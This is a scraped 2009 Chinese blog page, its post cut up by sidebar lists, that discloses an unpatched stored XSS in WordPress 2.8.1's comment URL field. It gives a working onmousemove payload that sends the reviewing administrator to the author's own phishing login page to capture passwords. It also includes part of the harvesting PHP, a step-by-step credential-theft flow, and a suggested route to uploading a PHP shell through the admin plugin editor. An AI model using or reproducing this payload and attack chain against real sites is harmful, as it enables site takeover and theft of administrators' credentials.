空虚浪子心的灵魂

« 2009年07月 »

日	一	二	三	四	五	六
			1	2	3	4
5	6	7	8	9	10	11
12	13	14	15	16	17	18
19	20	21	22	23	24	25
26	27	28	29	30	31	

日志分类

JSP学习笔记 [2]
E 文学习 [3]
网络文摘 [15]
人生感悟 [8]
心情日记 [64]
原创文章 [33]
原创工具 [3]
linux学习笔记 [5]

日志归档

2009年07月 [1]
2009年06月 [1]
2009年05月 [1]
2009年04月 [3]
2009年03月 [3]
2009年02月 [2]
2009年01月 [5]
2008年12月 [5]
2008年10月 [1]
2008年09月 [5]
2008年08月 [9]
2008年07月 [5]
2008年06月 [1]
2008年04月 [1]
2008年03月 [1]
2008年01月 [1]
2007年11月 [2]
2007年10月 [3]
2007年09月 [1]
2007年08月 [1]
2007年07月 [1]
2007年06月 [3]
2007年05月 [2]
2007年04月 [4]
2007年02月 [1]
2007年01月 [3]
2006年12月 [3]

wordpress281评论显示xss漏洞

Submitted by 空虚浪子心 on 2009, July 16, 1:54 PM. 原创文章

wordpress281评论显示xss漏洞
by kxlzx inbreak.net

ps：感谢鬼仔'blog，XEYE's blog协助测试。
实际上是个XSS漏洞。

POC：

XML/HTML代码

```
在评论的网址一栏，填写

http://blog.sohu.com/fh8e3333211134333
/f8e9wjfidsj3332dfs' onmousemove='location.href=String.fromCharCode(104,116,116
,112,58,47,47,105,110,98,114,101,97,107,46,110,101,116,47,97,46,112,104,112);
```

这段代码仅供测试，是不能直接用的。
如果你拿我的shellcode去打别人的站，那密码就归我了，来之不拒啊。

管理员审核时，只要鼠标从url上路过，就会跳转到http://www.inbreak.net/a.php。
这里是个假的登录页面，钓鱼用。

管理员登录后，我们就能记录密码。

2006年11月 [2]
2006年10月 [1]
2006年09月 [1]
2006年08月 [2]
2006年07月 [5]
2006年05月 [4]
2006年04月 [5]
2006年03月 [2]
2006年02月 [3]
2005年11月 [4]
2005年09月 [6]
2005年08月 [3]
2005年07月 [10]
2005年06月 [10]
2005年05月 [5]
2005年02月 [1]

搜索文章

确定

高级搜索

最新评论

您好想和你博客做个链接不知道行不...
05-13 - 乐蜂网

IE6以前有个MSXXXX就是这...
05-08 - QZ

So what? how do ...
05-08 - joker

啊,不对.是SOHU的哦.不过r...
05-07 - 1

google的request怎么...
05-07 - 1

还是挺有用的哦,看着有点发晕
05-07 - 丽江婚纱摄影

好东西顶一个，楼主辛苦了
05-07 - 环氧乙烷灭菌器

那apache的400和应用的5...
05-07 - 杭州广告公司

这个文章很不错,收藏并支持一下.
05-07 - 网站推广软件

这个文章很不错,收藏并支持一下.
05-07 - 网站推广软件

更多...

博客信息

分类数量: 8
文章数量: 133
评论数量: 287
标签数量: 44
附件数量: 28
引用数量: 0
注册用户: 52
今日访问: 1492

对于整个流程说明：

1，发评论让管理员对你的url有兴趣，然后等管理员上钩。
2，管理员在后台把鼠标移动到你的url上。
3，跳转到a.php，先获取referer。
4，输入密码后，提交到kxlzxtest/testxss/wp.php。
5，referer，user，pass保存为"域名.txt"。
6，输出一段JS，跳转到referer地址去。

a.php代码：

PHP代码

```php
<?php

$website = $_SERVER['HTTP_REFERER'];

$website=strtolower($website);

$website=substr($website,7);

$website=substr($website,0,strpos($website,'/'));


//这个页面是用来冒充登录页面的，危害巨大，代码不方便提供。


?>

```

wp.php代码

嗯。。。本来打算和某个短信平台配合一下，给我发短信提醒的，后来因为懒，就没写。

SHELL代码

```
<?php

//被lv老子过滤。

?>
```

这只是个DEMO，实际上，后台有编辑PHP文件的功能，你可以写个AJAX出来，自动获取编辑插件文件的页面中的token字段（名字忘记了，叫做XXonce），之后提交一个PHP shell过去。就不用钓鱼了。

漏洞代码：

wordpress\wp-admin\includes\template.php

文件中的$author_url没有对单引号做过滤，最后又使用拼接href='$author_url'。
导致我们可以添加一个这个href的事件函数进去。

PHP代码

```
01.
02.  2085:$author_url = get_comment_author_url();
03.
04.
05.
06.  2182:case 'author':
07.
08.    echo "<td $attributes><strong>"; comment_author(); echo '</strong><br />';
09.
10.       if ( !emptyempty($author_url) )
11.
12.           echo "<a title='$author_url' href='$author_url'>$author_url_display</a
     ><br />";
13.
```

前台的评论展示，也存在这个漏洞。

修补方式：

不建议自己手工修补，建议把评论暂时关闭，然后等官方补丁就是了。

到目前为止，官方可能还不知道。

语言不通，好心人看到同时，可以通知下官方。

Tags: wordpress, xss

« 上一篇 | 下一篇 »

Trackbacks

ZH-CN UTF-8

发表评论

名字 (必填):

密码 (游客不需要密码):

网址或电子邮件 (选填):

评论内容 (必填):

验证码(*):

0195

提交